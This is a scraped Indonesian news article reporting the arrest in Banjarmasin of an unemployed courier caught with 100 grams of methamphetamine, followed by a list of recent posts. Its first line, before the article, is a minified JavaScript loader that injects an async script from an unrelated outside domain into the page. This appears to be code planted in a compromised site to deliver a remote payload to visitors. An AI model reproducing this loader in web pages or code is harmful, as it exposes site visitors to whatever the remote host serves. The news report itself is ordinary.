(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Diupah Ratusan Ribu, Pengantar 100 Gram Sabu Dibekuk Polisi di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Berdalih pengangguran, RF alias Otek, nekat menjadi kurir narkoba demi uang ratusan ribu.

Hal tersebut diakui Otek, warga Jalan Dahlia Gang Budaya, RT 31 Banjarmasin Barat, yang ditangkap polisi membawa 100 gram sabu. Otek selama ini tak ada pekerjaan, karena itu mau diiming-imingi uang Rp 100 hingga Rp 500 ribu per sekali antar.

“Itupun tergantung barang yang akan diantar, selain itu saya juga baru saja sebagai pesuruh dan selama ini tak pernah ketemu sama bandar hanya melalui telepon seluler, demi kebutuhan hidup sehari-hari itulah,” ujar RF alias Otek saat gelar perkara, di Mapolsek Banjarmasin Utara, Selasa (30/3/2021).

Kapolsekta Banjarmasin Utara Kompol Indra Agung Permana Putra, melalui Kanit Reskrim Ipda Hendra Agustian Ginting mengatakan, anggota masih mendalami kasus Narkoba untuk dapat diketahui bandar sebenarnya.

Tersangka RF sendiri ditangkap, saat berada di Jalan Sultan Adam, Banjarmasin Utara pada Minggu (28/3/2021) yang lalu, sekitar pukul 14.00 Wita. Bersamaan dengan sejumlah barang bukti berupa satu buah telepon genggam merk realmi warna biru, satu buah sepeda motor Honda Vario, warna hitam putih DA 6632 AAE.

Baca juga : 20 IUP Lolos ‘No Database’ ESDM Kalsel, DPRD dan Kejati Didesak Selidiki!

“Satu paket Narkotika jenis sabu dengan berat 100 gram yang dibungkus dengan kertas koran,” ungkap Ginting.
Sebelum tertangkapnya tersangka, anggota sering mendapatkan informasi dari masyarakat sekitar, ada orang yang mencurigakan sering melakukan transaksi Narkotika di Tempat Kejadian Pekara (TKP), lalu anggota mencoba melakukan penyelidikan soal laporan tersebut.

Setelah melakukan penyelidikan beberapa hari, alhasil anggota berhasil menangkap tersangka dengan cara menabrakan sepeda motor ke sepeda motor tersangka, supaya tak bisa berkutik lagi. Lalu tersangka langsung dibawa ke Mapolsek Banjarmasin Utara guna pemeriksaan lebih lanjut.

“Untuk tersangka, dikenakan pasal 114 ayat 2 jo, 112 ayat 2 UU No. 35 Tahun 2009 tentang Narkotika,” pungkas Ginting. (kanalkalimantan.com/tius)

 

Reporter : Tius
Editor : Kk

 

 


Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

4 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

7 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

7 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

9 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

11 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

12 jam ago

This website uses cookies.